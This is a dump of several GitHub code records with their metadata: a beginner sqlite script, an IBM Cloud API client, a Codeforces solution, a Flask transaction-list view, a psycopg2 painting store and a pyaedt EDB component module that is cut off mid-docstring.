"2.76/scripts/addons/tissue-master/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2553, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "importlib.reload", "line_number": 21, "usage_type": "call"}, {"api_name": "importlib.reload", "line_number": 22, "usage_type": "call"}, {"api_name": "importlib.reload", "line_number": 23, "usage_type": "call"}, {"api_name": "bpy.utils.register_module", "line_number": 48, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 48, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 52, "usage_type": "attribute"}, {"api_name": "bpy.props.PointerProperty", "line_number": 52, "usage_type": "call"}, {"api_name": "bpy.props", "line_number": 52, "usage_type": "attribute"}]} {"seq_id": "44766083458", "text": "import sqlite3\r\n\r\n# Create connection to a new database (will be created if doesn't exist)\r\ndb = sqlite3.connect(\"book-collection.db\")\r\n\r\n# Create cursor to control database\r\ncursor = db.cursor()\r\n\r\n\r\n\"\"\"\r\n- Actions in SQlite db are expressed as SQL (Structured Query Language) commands w/ keywords in ALL-CAPS\r\n- CREATE TABLE called books\r\n- () after create table are fields/column headings in the table\r\n- First field is id with type INTEGER. Primary key = uniquely identify this column\r\n- varchar(250) = variable-length string composed of char w/ max length of 250\r\n- NOT NULL = can't be empty\r\n- UNIQUE = no two records/headings in this table can have the same title\r\n\"\"\"\r\n# alt + z to auto-split long line into two\r\n#cursor.execute(\"CREATE TABLE books (id INTEGER PRIMARY KEY, title varchar(250) NOT NULL UNIQUE, author varchar(250) NOT NULL, rating FLOAT NOT NULL)\")\r\n\r\n# Add data to table\r\ncursor.execute(\"INSERT INTO books VALUES(1, 'Harry Potter', 'J. K. Rowling', '9.3')\")\r\ndb.commit()", "repo_name": "acyu9/100_Days_of_Code", "sub_path": "sqlite/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 995, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sqlite3.connect", "line_number": 4, "usage_type": "call"}]} {"seq_id": "41075322755", "text": "\"\"\"\nThis file contains Client for IBM Cloud Account Details related APIs\n\"\"\"\nimport requests\n\nfrom .paths import GET_ACCOUNT_DETAILS_PATH\nfrom ..base_client import BaseClient\nfrom ..urls import ACCOUNT_DETAILS_URL_TEMPLATE\n\n\nclass CloudAccountDetailsClient(BaseClient):\n \"\"\"\n Client for Dedicated Host APIs\n \"\"\"\n\n def __init__(self, cloud_id):\n super(CloudAccountDetailsClient, self).__init__(cloud_id)\n\n def get_account_details(self, api_key_id):\n \"\"\"\n Get IBM Account Details by API KEY ID\n :param api_key_id: ID of API KEY ID on IBM\n :return:\n \"\"\"\n request = requests.Request(\n \"GET\",\n ACCOUNT_DETAILS_URL_TEMPLATE.format(\n path=GET_ACCOUNT_DETAILS_PATH.format(api_key_id=api_key_id)\n )\n )\n\n response = self._execute_request(request, \"ACCOUNT_DETAILS\")\n\n return response\n", "repo_name": "talha927/cloud-ibm-test", "sub_path": "ibm/common/clients/ibm_clients/cloud_account_details/account_details.py", "file_name": "account_details.py", "file_ext": "py", "file_size_in_byte": 916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "base_client.BaseClient", "line_number": 11, "usage_type": "name"}, {"api_name": "requests.Request", "line_number": 25, "usage_type": "call"}, {"api_name": "urls.ACCOUNT_DETAILS_URL_TEMPLATE.format", "line_number": 27, "usage_type": "call"}, {"api_name": "urls.ACCOUNT_DETAILS_URL_TEMPLATE", "line_number": 27, "usage_type": "name"}, {"api_name": "paths.GET_ACCOUNT_DETAILS_PATH.format", "line_number": 28, "usage_type": "call"}, {"api_name": "paths.GET_ACCOUNT_DETAILS_PATH", "line_number": 28, "usage_type": "name"}]} {"seq_id": "12809943321", "text": "from collections import Counter\n\nn = int(input())\n\n\nnumbers = list(map(int,input().split()))\ncnt = Counter()\nfor number in numbers: #n\n cnt[number] +=1\n\nfor key, _ in cnt.most_common(1):\n mv = key\nresult = []\nj = 1\nmv_j = 0\nfor i, number in enumerate(numbers):\n if number != mv:\n continue\n mv_j = i+1\n temp = mv_j\n while temp > j:\n result.append(\"1 \"+str(temp-1)+\" \"+str(temp))\n temp -= 1\n else:\n j = i+2\nj = n\nwhile j > mv_j:\n result.append(\"2 \"+str(j)+\" \"+str(j-1))\n j-=1\nprint(len(result))\nprint(\"\\n\".join(result))", "repo_name": "tgkei/Algorithm_study", "sub_path": "by_python/codeforces/550division3/D.py", "file_name": "D.py", "file_ext": "py", "file_size_in_byte": 572, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.Counter", "line_number": 7, "usage_type": "call"}]} {"seq_id": "70889218465", "text": "from flask import current_app, Blueprint, g, request, jsonify, render_template\nimport json\nimport ast\nimport requests\n\n\nDtxlist = Blueprint('display_txlist', __name__)\n\n@Dtxlist.route(\"/Dtxlist\", methods=['GET'])\n@Dtxlist.route(\"/Dtxlist/\", methods=['GET'])\ndef display_txlist(inactive=None, amount=None):\n\t\n\terror_dict = dict()\n\t\n\tquery_list = list()\n\t\n\tinactive = request.args.get(\"inactive\", default=None)\n\tamount = request.args.get(\"amount\", default=None)\n\t\n\tprint(amount)\n\tprint(type(amount))\n\t\n\tif inactive != None :\n\t\tquery_list.append(\"inactive=true\")\n\t\n\tif amount != None :\n\t\tquery_list.append(\"amount=\"+str(amount))\n\t\t\n\tthis_endpoint = g.config_items[\"self\"][\"url\"] + \"api/txlist/?\" + \"&\".join(query_list)\n\t\t\n\ttry: \n\t\ttxlist_data = requests.get(this_endpoint).content\n\texcept Exception as e:\n\t\tprint(str(e))\n\t\n\tstringified = txlist_data.decode('utf-8')\n\tsanitized = json.loads(stringified)\n\t\n\tif \"error\" in sanitized.keys() :\n\t\ttxlistdata = False \n\telse :\n\t\ttxlistdata = True\n\t\t\n\tsuccess_fail = { \"txlist\" : txlistdata }\n\t\n\treturn render_template('display/Dtxlist.html.jinja', txlist=sanitized, gotdata=success_fail)\n\n", "repo_name": "chalbersma/persist_transaction", "sub_path": "display/d_txlist.py", "file_name": "d_txlist.py", "file_ext": "py", "file_size_in_byte": 1128, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Blueprint", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.g.config_items", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 29, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 32, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 46, "usage_type": "call"}]} {"seq_id": "7190845210", "text": "\nimport psycopg2\n\n\ndef crop_painting(strokes):\n max_x, max_y, min_x, min_y = 0, 0, 1000000, 1000000\n for stroke in strokes:\n radius = stroke[3]/2\n for circle in stroke[4]:\n max_x = max(max_x, circle[0] + radius)\n min_x = min(min_x, circle[0] - radius)\n max_y = max(max_y, circle[1] + radius)\n min_y = min(min_y, circle[1] - radius)\n return max_x, max_y, min_x, min_y\n\n\nclass Database():\n def __init__(self, config):\n self.config = config\n self._conn = None\n self._connect()\n\n def _connect(self):\n self._conn = psycopg2.connect(\n dbname=self.config['database'],\n user=self.config['user'],\n password=self.config['password'],\n host=self.config['host'])\n\n def _cursor(self):\n return self._conn.cursor()\n\n def _close_connection(self):\n self._conn.close()\n\n def _commit(self):\n self._conn.commit()\n\n def reconnect(self):\n self._close_connection()\n self._connect()\n\n def store_painting(self, strokes):\n max_x, max_y, min_x, min_y = crop_painting(strokes)\n cursor = self._cursor()\n cursor.execute(INSERT_PAINTING, (max_x - min_x, max_y - min_y))\n (painting_id,) = cursor.fetchone()\n for stroke in strokes:\n values = (painting_id, stroke[3], stroke[0], stroke[1], stroke[2])\n cursor.execute(INSERT_STROKE, values)\n (stroke_id,) = cursor.fetchone()\n for circle in stroke[4]:\n values = (stroke_id, circle[0] - min_x, circle[1] - min_y)\n cursor.execute(INSERT_CIRCLE, values)\n self._commit()\n cursor.close()\n return painting_id\n\n def paintings(self):\n painting_list = []\n painting = None\n cursor = self._cursor()\n cursor.execute(STROKES)\n for painting_id, width, height, size, r, g, b, x, y in cursor.fetchall():\n if not painting:\n painting = {'id': painting_id, 'width': width, 'height': height, 'strokes': []}\n if painting['id'] != painting_id:\n painting_list.append(painting)\n painting = {'id': painting_id, 'width': width, 'height': height, 'strokes': []}\n painting['strokes'].append({'size': size, 'r': r, 'g': g, 'b': b,\n 'circles': list(zip(x, y))})\n if painting:\n painting_list.append(painting)\n cursor.close()\n return painting_list\n\n\n\nINSERT_PAINTING = 'INSERT INTO painting(width, height) VALUES (%s, %s) RETURNING id'\n\nINSERT_STROKE = \"\"\"\nINSERT INTO brush_stroke(painting, size, r, g, b)\nVALUES (%s,%s,%s,%s,%s)\nRETURNING id\n\"\"\"\n\nINSERT_CIRCLE = \"INSERT INTO circle(stroke, x, y) VALUES (%s,%s,%s)\"\n\n\nSTROKES = \"\"\"\nSELECT painting.id, width, height, size, r, g, b,\n array_agg(x), array_agg(y)\nFROM painting\nJOIN brush_stroke ON brush_stroke.painting=painting.id\nJOIN circle ON circle.stroke=brush_stroke.id\nGROUP BY painting.id, width, height, size, r, g, b, stroke\nORDER BY painting.id, stroke;\n\"\"\"", "repo_name": "Muusssi/spring_artists", "sub_path": "database.py", "file_name": "database.py", "file_ext": "py", "file_size_in_byte": 3117, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "psycopg2.connect", "line_number": 24, "usage_type": "call"}]} {"seq_id": "6294001952", "text": "import logging\nimport re\nimport warnings\n\nfrom pyaedt.edb_core.edb_data.padstacks_data import EDBPadstackInstance\nfrom pyaedt.generic.general_methods import is_ironpython\n\nif not is_ironpython:\n try:\n import numpy as np\n except ImportError:\n warnings.warn(\n \"The NumPy module is required to run some functionalities of EDB.\\n\"\n \"Install with \\n\\npip install numpy\\n\\nRequires CPython.\"\n )\nfrom pyaedt.generic.general_methods import get_filename_without_extension\nfrom pyaedt.generic.general_methods import pyaedt_function_handler\n\n\nclass EDBComponentDef(object):\n \"\"\"Manages EDB functionalities for component definitions.\n\n Parameters\n ----------\n parent : :class:`pyaedt.edb_core.components.Components`\n Inherited AEDT object.\n comp_def : object\n Edb ComponentDef Object\n \"\"\"\n\n def __init__(self, pedb, comp_def):\n self._pedb = pedb\n self._edb_comp_def = comp_def\n\n @property\n def _comp_model(self):\n return list(self._edb_comp_def.GetComponentModels()) # pragma: no cover\n\n @property\n def part_name(self):\n \"\"\"Retrieve component definition name.\"\"\"\n return self._edb_comp_def.GetName()\n\n @part_name.setter\n def part_name(self, name):\n self._edb_comp_def.SetName(name)\n\n @property\n def type(self):\n \"\"\"Retrieve the component definition type.\n\n Returns\n -------\n str\n \"\"\"\n num = len(set(comp.type for refdes, comp in self.components.items()))\n if num == 0: # pragma: no cover\n return None\n elif num == 1:\n return list(self.components.values())[0].type\n else:\n return \"mixed\" # pragma: no cover\n\n @type.setter\n def type(self, value):\n for comp in list(self.components.values()):\n comp.type = value\n\n @property\n def components(self):\n \"\"\"Get the list of components belonging to this component definition.\n\n Returns\n -------\n dict of :class:`pyaedt.edb_core.edb_data.components_data.EDBComponent`\n \"\"\"\n comp_list = [\n EDBComponent(self._pedb, l)\n for l in self._pedb.edb_api.cell.hierarchy.component.FindByComponentDef(\n self._pedb.active_layout, self.part_name\n )\n ]\n return {comp.refdes: comp for comp in comp_list}\n\n @pyaedt_function_handler\n def assign_rlc_model(self, res=None, ind=None, cap=None, is_parallel=False):\n \"\"\"Assign RLC to all components under this part name.\n\n Parameters\n ----------\n res : int, float\n Resistance. Default is ``None``.\n ind : int, float\n Inductance. Default is ``None``.\n cap : int, float\n Capacitance. Default is ``None``.\n is_parallel : bool, optional\n Whether it is parallel or series RLC component.\n \"\"\"\n for comp in list(self.components.values()):\n res, ind, cap = res, ind, cap\n comp.assign_rlc_model(res, ind, cap, is_parallel)\n return True\n\n @pyaedt_function_handler\n def assign_s_param_model(self, file_path, model_name=None, reference_net=None):\n \"\"\"Assign S-parameter to all components under this part name.\n\n Parameters\n ----------\n file_path : str\n File path of the S-parameter model.\n name : str, optional\n Name of the S-parameter model.\n Returns\n -------\n\n \"\"\"\n for comp in list(self.components.values()):\n comp.assign_s_param_model(file_path, model_name, reference_net)\n return True\n\n @pyaedt_function_handler\n def assign_spice_model(self, file_path, model_name=None):\n \"\"\"Assign Spice model to all components under this part name.\n\n Parameters\n ----------\n file_path : str\n File path of the Spice model.\n name : str, optional\n Name of the Spice model.\n Returns\n -------\n\n \"\"\"\n for comp in list(self.components.values()):\n comp.assign_spice_model(file_path, model_name)\n return True\n\n\nclass EDBComponent(object):\n \"\"\"Manages EDB functionalities for components.\n\n Parameters\n ----------\n parent : :class:`pyaedt.edb_core.components.Components`\n Inherited AEDT object.\n component : object\n Edb Component Object\n\n \"\"\"\n\n class _PinPair(object): # pragma: no cover\n def __init__(self, pcomp, edb_comp, edb_comp_prop, edb_model, edb_pin_pair):\n self._pedb_comp = pcomp\n self._edb_comp = edb_comp\n self._edb_comp_prop = edb_comp_prop\n self._edb_model = edb_model\n self._edb_pin_pair = edb_pin_pair\n\n def _edb_value(self, value):\n return self._pedb_comp._get_edb_value(value) # pragma: no cover\n\n @property\n def is_parallel(self):\n return self._pin_pair_rlc.IsParallel # pragma: no cover\n\n @is_parallel.setter\n def is_parallel(self, value):\n rlc = self._pin_pair_rlc\n rlc.IsParallel = value\n self._set_comp_prop() # pragma: no cover\n\n @property\n def _pin_pair_rlc(self):\n return self._edb_model.GetPinPairRlc(self._edb_pin_pair)\n\n @property\n def rlc_enable(self):\n rlc = self._pin_pair_rlc\n return [rlc.REnabled, rlc.LEnabled, rlc.CEnabled]\n\n @rlc_enable.setter\n def rlc_enable(self, value):\n rlc = self._pin_pair_rlc\n rlc.REnabled = value[0]\n rlc.LEnabled = value[1]\n rlc.CEnabled = value[2]\n self._set_comp_prop() # pragma: no cover\n\n @property\n def resistance(self):\n return self._pin_pair_rlc.R.ToDouble() # pragma: no cover\n\n @resistance.setter\n def resistance(self, value):\n self._pin_pair_rlc.R = value\n self._set_comp_prop(self._pin_pair_rlc) # pragma: no cover\n\n @property\n def inductance(self):\n return self._pin_pair_rlc.L.ToDouble() # pragma: no cover\n\n @inductance.setter\n def inductance(self, value):\n self._pin_pair_rlc.L = value\n self._set_comp_prop(self._pin_pair_rlc) # pragma: no cover\n\n @property\n def capacitance(self):\n return self._pin_pair_rlc.C.ToDouble() # pragma: no cover\n\n @capacitance.setter\n def capacitance(self, value):\n self._pin_pair_rlc.C = value\n self._set_comp_prop(self._pin_pair_rlc) # pragma: no cover\n\n @property\n def rlc_values(self): # pragma: no cover\n rlc = self._pin_pair_rlc\n return [rlc.R.ToDouble(), rlc.L.ToDouble(), rlc.C.ToDouble()]\n\n @rlc_values.setter\n def rlc_values(self, values): # pragma: no cover\n rlc = self._pin_pair_rlc\n rlc.R = self._edb_value(values[0])\n rlc.L = self._edb_value(values[1])\n rlc.C = self._edb_value(values[2])\n self._set_comp_prop() # pragma: no cover\n\n def _set_comp_prop(self): # pragma: no cover\n self._edb_model.SetPinPairRlc(self._edb_pin_pair, self._pin_pair_rlc)\n self._edb_comp_prop.SetModel(self._edb_model)\n self._edb_comp.SetComponentProperty(self._edb_comp_prop)\n\n class _SpiceModel(object): # pragma: no cover\n def __init__(self, edb_model):\n self._edb_model = edb_model\n\n @property\n def file_path(self):\n return self._edb_model.GetSPICEFilePath()\n\n @property\n def name(self):\n return self._edb_model.GetSPICEName()\n\n class _SparamModel(object): # pragma: no cover\n def __init__(self, edb_model):\n self._edb_model = edb_model\n\n @property\n def name(self):\n return self._edb_model.GetComponentModelName()\n\n @property\n def reference_net(self):\n return self._edb_model.GetReferenceNet()\n\n class _NetlistModel(object): # pragma: no cover\n def __init__(self, edb_model):\n self._edb_model = edb_model\n\n @property\n def netlist(self):\n return self._edb_model.GetNetlist()\n\n def __init__(self, pedb, cmp):\n self._pedb = pedb\n self.edbcomponent = cmp\n self._layout_instance = None\n self._comp_instance = None\n\n @property\n def layout_instance(self):\n \"\"\"EDB layout instance object.\"\"\"\n return self._pedb.layout_instance\n\n @property\n def component_instance(self):\n \"\"\"Edb component instance.\"\"\"\n if self._comp_instance is None:\n self._comp_instance = self.layout_instance.GetLayoutObjInstance(self.edbcomponent, None)\n return self._comp_instance\n\n @property\n def _active_layout(self): # pragma: no cover\n return self._pedb.active_layout\n\n @property\n def component_property(self):\n \"\"\"``ComponentProperty`` object.\"\"\"\n return self.edbcomponent.GetComponentProperty().Clone()\n\n @property\n def _edb_model(self): # pragma: no cover\n return self.component_property.GetModel().Clone()\n\n @property # pragma: no cover\n def _pin_pairs(self):\n edb_comp_prop = self.component_property\n edb_model = self._edb_model\n return [\n self._PinPair(self, self.edbcomponent, edb_comp_prop, edb_model, pin_pair)\n for pin_pair in list(edb_model.PinPairs)\n ]\n\n @property\n def is_enabled(self):\n \"\"\"Get or Set the component to active mode.\n\n Returns\n -------\n bool\n ``True`` if component is active, ``False`` if is disabled..\n \"\"\"\n return self.component_property.IsEnabled()\n\n @is_enabled.setter\n def is_enabled(self, value):\n cmp_prop = self.component_property.Clone()\n cmp_prop.SetEnabled(value)\n self.edbcomponent.SetComponentProperty(cmp_prop)\n\n @property\n def spice_model(self):\n \"\"\"Get assigned Spice model properties.\"\"\"\n if not self.model_type == \"SPICEModel\":\n return None\n else:\n return self._SpiceModel(self._edb_model)\n\n @property\n def s_param_model(self):\n \"\"\"Get assigned S-parameter model properties.\"\"\"\n if not self.model_type == \"SParameterModel\":\n return None\n else:\n return self._SparamModel(self._edb_model)\n\n @property\n def netlist_model(self):\n \"\"\"Get assigned netlist model properties.\"\"\"\n if not self.model_type == \"NetlistModel\":\n return None\n else:\n return self._NetlistModel(self._edb_model)\n\n @property\n def solder_ball_height(self):\n \"\"\"Solder ball height if available.\"\"\"\n if \"GetSolderBallProperty\" in dir(self.component_property):\n return self.component_property.GetSolderBallProperty().GetHeight()\n return None\n\n @property\n def solder_ball_placement(self):\n \"\"\"Solder ball placement if available..\"\"\"\n if \"GetSolderBallProperty\" in dir(self.component_property):\n return int(self.component_property.GetSolderBallProperty().GetPlacement())\n return 2\n\n @property\n def refdes(self):\n \"\"\"Reference Designator Name.\n\n Returns\n -------\n str\n Reference Designator Name.\n \"\"\"\n return self.edbcomponent.GetName()\n\n @refdes.setter\n def refdes(self, name):\n self.edbcomponent.SetName(name)\n\n @property\n def is_null(self):\n \"\"\"Flag indicating if the current object exists.\"\"\"\n return self.edbcomponent.IsNull()\n\n @property\n def is_enabled(self):\n \"\"\"Flag indicating if the current object is enabled.\n\n Returns\n -------\n bool\n ``True`` if current object is enabled, ``False`` otherwise.\n \"\"\"\n if self.type in [\"Resistor\", \"Capacitor\", \"Inductor\"]:\n return self.component_property.IsEnabled()\n else: # pragma: no cover\n return True\n\n @is_enabled.setter\n def is_enabled(self, enabled):\n \"\"\"Enables the current object.\"\"\"\n if self.type in [\"Resistor\", \"Capacitor\", \"Inductor\"]:\n component_property = self.component_property\n component_property.SetEnabled(enabled)\n self.edbcomponent.SetComponentProperty(component_property)\n\n @property\n def model_type(self):\n \"\"\"Retrieve assigned model type.\"\"\"\n _model_type = self._edb_model.ToString().split(\".\")[-1]\n if _model_type == \"PinPairModel\":\n return \"RLC\"\n else:\n return _model_type\n\n @property\n def rlc_values(self):\n \"\"\"Get component rlc values.\"\"\"\n if not len(self._pin_pairs):\n return [None, None, None]\n pin_pair = self._pin_pairs[0]\n return pin_pair.rlc_values\n\n @rlc_values.setter\n def rlc_values(self, value):\n if isinstance(value, list): # pragma no cover\n rlc_enabled = [True if i else False for i in value]\n rlc_values = [self._get_edb_value(i) for i in value]\n model = self._edb.cell.hierarchy._hierarchy.PinPairModel()\n pin_names = list(self.pins.keys())\n for idx, i in enumerate(np.arange(len(pin_names) // 2)):\n pin_pair = self._edb.utility.utility.PinPair(pin_names[idx], pin_names[idx + 1])\n rlc = self._edb.utility.utility.Rlc(\n rlc_values[0], rlc_enabled[0], rlc_values[1], rlc_enabled[1], rlc_values[2], rlc_enabled[2], False\n )\n model.SetPinPairRlc(pin_pair, rlc)\n self._set_model(model)\n\n @property\n def value(self):\n \"\"\"Retrieve discrete component value.\n\n Returns\n -------\n str\n Value. ``None`` if not an RLC Type.\n \"\"\"\n if self.model_type == \"RLC\":\n if not self._pin_pairs:\n if self.type == \"Inductor\":\n return 1e-9\n elif self.type == \"Resistor\":\n return 1e6\n else:\n return 1\n else:\n pin_pair = self._pin_pairs[0]\n if len([i for i in pin_pair.rlc_enable if i]) == 1:\n return [pin_pair.rlc_values[idx] for idx, val in enumerate(pin_pair.rlc_enable) if val][0]\n else:\n return pin_pair.rlc_values\n elif self.model_type == \"SPICEModel\":\n return self.spice_model.file_path\n elif self.model_type == \"SParameterModel\":\n return self.s_param_model.name\n else:\n return self.netlist_model.netlist\n\n @value.setter\n def value(self, value):\n rlc_enabled = [True if i == self.type else False for i in [\"Resistor\", \"Inductor\", \"Capacitor\"]]\n rlc_values = [value if i == self.type else 0 for i in [\"Resistor\", \"Inductor\", \"Capacitor\"]]\n rlc_values = [self._get_edb_value(i) for i in rlc_values]\n\n model = self._edb.cell.hierarchy._hierarchy.PinPairModel()\n pin_names = list(self.pins.keys())\n for idx, i in enumerate(np.arange(len(pin_names) // 2)):\n pin_pair = self._edb.utility.utility.PinPair(pin_names[idx], pin_names[idx + 1])\n rlc = self._edb.utility.utility.Rlc(\n rlc_values[0], rlc_enabled[0], rlc_values[1], rlc_enabled[1], rlc_values[2], rlc_enabled[2], False\n )\n model.SetPinPairRlc(pin_pair, rlc)\n self._set_model(model)\n\n @property\n def res_value(self):\n \"\"\"Resistance value.\n\n Returns\n -------\n str\n Resistance value or ``None`` if not an RLC type.\n \"\"\"\n cmp_type = int(self.edbcomponent.GetComponentType())\n if 0 < cmp_type < 4:\n componentProperty = self.edbcomponent.GetComponentProperty()\n model = componentProperty.GetModel().Clone()\n pinpairs = model.PinPairs\n if not list(pinpairs):\n return \"0\"\n for pinpair in pinpairs:\n pair = model.GetPinPairRlc(pinpair)\n return pair.R.ToString()\n return None\n\n @res_value.setter\n def res_value(self, value): # pragma no cover\n if value:\n if self.rlc_values == [None, None, None]:\n self.rlc_values = [value, 0, 0]\n else:\n self.rlc_values = [value, self.rlc_values[1], self.rlc_values[2]]\n\n @property\n def cap_value(self):\n \"\"\"Capacitance Value.\n\n Returns\n -------\n str\n Capacitance Value. ``None`` if not an RLC Type.\n \"\"\"\n cmp_type = int(self.edbcomponent.GetComponentType())\n if 0 < cmp_type < 4:\n componentProperty = self.edbcomponent.GetComponentProperty()\n model = componentProperty.GetModel().Clone()\n pinpairs = model.PinPairs\n if not list(pinpairs):\n return \"0\"\n for pinpair in pinpairs:\n pair = model.GetPinPairRlc(pinpair)\n return pair.C.ToString()\n return None\n\n @cap_value.setter\n def cap_value(self, value): # pragma no cover\n if value:\n if self.rlc_values == [None, None, None]:\n self.rlc_values = [0, 0, value]\n else:\n self.rlc_values = [self.rlc_values[1], self.rlc_values[2], value]\n\n @property\n def ind_value(self):\n \"\"\"Inductance Value.\n\n Returns\n -------\n str\n Inductance Value. ``None`` if not an RLC Type.\n \"\"\"\n cmp_type = int(self.edbcomponent.GetComponentType())\n if 0 < cmp_type < 4:\n componentProperty = self.edbcomponent.GetComponentProperty()\n model = componentProperty.GetModel().Clone()\n pinpairs = model.PinPairs\n if not list(pinpairs):\n return \"0\"\n for pinpair in pinpairs:\n pair = model.GetPinPairRlc(pinpair)\n return pair.L.ToString()\n return None\n\n @ind_value.setter\n def ind_value(self, value): # pragma no cover\n if value:\n if self.rlc_values == [None, None, None]:\n self.rlc_values = [0, value, 0]\n else:\n self.rlc_values = [self.rlc_values[1], value, self.rlc_values[2]]\n\n @property\n def is_parallel_rlc(self):\n \"\"\"Define if model is Parallel or Series.\n\n Returns\n -------\n bool\n ``True`` if it is a parallel rlc model. ``False`` for series RLC. ``None`` if not an RLC Type.\n \"\"\"\n cmp_type = int(self.edbcomponent.GetComponentType())\n if 0 < cmp_type < 4:\n model = self.component_property.GetModel().Clone()\n pinpairs = model.PinPairs\n for pinpair in pinpairs:\n pair = model.GetPinPairRlc(pinpair)\n return pair.IsParallel\n return None\n\n @is_parallel_rlc.setter\n def is_parallel_rlc(self, value): # pragma no cover\n if not len(self._pin_pairs):\n logging.warning(self.refdes, \" has no pin pair.\")\n else:\n if isinstance(value, bool):\n componentProperty = self.edbcomponent.GetComponentProperty()\n model = componentProperty.GetModel().Clone()\n pinpairs = model.PinPairs\n if not list(pinpairs):\n return \"0\"\n for pin_pair in pinpairs:\n pin_pair_rlc = model.GetPinPairRlc(pin_pair)\n pin_pair_rlc.IsParallel = value\n pin_pair_model = self._edb_model\n pin_pair_model.SetPinPairRlc(pin_pair, pin_pair_rlc)\n comp_prop = self.component_property\n comp_prop.SetModel(pin_pair_model)\n self.edbcomponent.SetComponentProperty(comp_prop)\n\n @property\n def center(self):\n \"\"\"Compute the component center.\n\n Returns\n -------\n list\n \"\"\"\n center = self.component_instance.GetCenter()\n return [center.X.ToDouble(), center.Y.ToDouble()]\n\n @property\n def bounding_box(self):\n \"\"\"Component's bounding box.\n\n Returns\n -------\n List[float]\n List of coordinates for the component's bounding box, with the list of\n coordinates in this order: [X lower left corner, Y lower left corner,\n X upper right corner, Y upper right corner].\n \"\"\"\n bbox = self.component_instance.GetBBox()\n pt1 = bbox.Item1\n pt2 = bbox.Item2\n return [pt1.X.ToDouble(), pt1.Y.ToDouble(), pt2.X.ToDouble(), pt2.Y.ToDouble()]\n\n @property\n def rotation(self):\n \"\"\"Compute the component rotation in radian.\n\n Returns\n -------\n float\n \"\"\"\n return self.edbcomponent.GetTransform().Rotation.ToDouble()\n\n @property\n def pinlist(self):\n \"\"\"Pins of the component.\n\n Returns\n -------\n list\n List of Pins of Component.\n \"\"\"\n pins = [\n p\n for p in self.edbcomponent.LayoutObjs\n if p.GetObjType() == self._edb.cell.layout_object_type.PadstackInstance\n and p.IsLayoutPin()\n and p.GetComponent().GetName() == self.refdes\n ]\n return pins\n\n @property\n def nets(self):\n \"\"\"Nets of Component.\n\n Returns\n -------\n list\n List of Nets of Component.\n \"\"\"\n netlist = []\n for pin in self.pinlist:\n netlist.append(pin.GetNet().GetName())\n return list(set(netlist))\n\n @property\n def pins(self):\n \"\"\"EDBPadstackInstance of Component.\n\n Returns\n -------\n dic[str, :class:`pyaedt.edb_core.edb_data.definitions.EDBPadstackInstance`]\n Dictionary of EDBPadstackInstance Components.\n \"\"\"\n pins = {}\n for el in self.pinlist:\n pins[el.GetName()] = EDBPadstackInstance(el, self._pedb)\n return pins\n\n @property\n def type(self):\n \"\"\"Component type.\n\n Returns\n -------\n str\n Component type.\n \"\"\"\n cmp_type = int(self.edbcomponent.GetComponentType())\n if cmp_type == 1:\n return \"Resistor\"\n elif cmp_type == 2:\n return \"Inductor\"\n elif cmp_type == 3:\n return \"Capacitor\"\n elif cmp_type == 4:\n return \"IC\"\n elif cmp_type == 5:\n return \"IO\"\n elif cmp_type == 0:\n return \"Other\"\n\n @type.setter\n def type(self, new_type):\n \"\"\"Set component type\n\n Parameters\n ----------\n new_type : str\n Type of the component. Options are ``\"Resistor\"``, ``\"Inductor\"``, ``\"Capacitor\"``,\n ``\"IC\"``, ``\"IO\"`` and ``\"Other\"``.\n \"\"\"\n if new_type == \"Resistor\":\n type_id = self._pedb.definition.ComponentType.Resistor\n elif new_type == \"Inductor\":\n type_id = self._pedb.definition.ComponentType.Inductor\n elif new_type == \"Capacitor\":\n type_id = self._pedb.definition.ComponentType.Capacitor\n elif new_type == \"IC\":\n type_id = self._pedb.definition.ComponentType.IC\n elif new_type == \"IO\":\n type_id = self._pedb.definition.ComponentType.IO\n elif new_type == \"Other\":\n type_id = self._pedb.definition.ComponentType.Other\n else:\n return\n self.edbcomponent.SetComponentType(type_id)\n\n @property\n def numpins(self):\n \"\"\"Number of Pins of Component.\n\n Returns\n -------\n int\n Number of Pins of Component.\n \"\"\"\n return self.edbcomponent.GetNumberOfPins()\n\n @property\n def partname(self): # pragma: no cover\n \"\"\"Component part name.\n\n Returns\n -------\n str\n Component Part Name.\n \"\"\"\n return self.part_name\n\n @partname.setter\n def partname(self, name): # pragma: no cover\n \"\"\"Set component part name.\"\"\"\n self.part_name = name\n\n @property\n def part_name(self):\n \"\"\"Component part name.\n\n Returns\n -------\n str\n Component part name.\n \"\"\"\n return self.edbcomponent.GetComponentDef().GetName()\n\n @part_name.setter\n def part_name(self, name): # pragma: no cover\n \"\"\"Set component part name.\"\"\"\n self.edbcomponent.GetComponentDef().SetName(name)\n\n @property\n def _edb(self):\n return self._pedb.edb_api\n\n @property\n def placement_layer(self):\n \"\"\"Placement layer.\n\n Returns\n -------\n str\n Name of the placement layer.\n \"\"\"\n return self.edbcomponent.GetPlacementLayer().Clone().GetName()\n\n @property\n def lower_elevation(self):\n \"\"\"Lower elevation of the placement layer.\n\n Returns\n -------\n float\n Lower elevation of the placement layer.\n 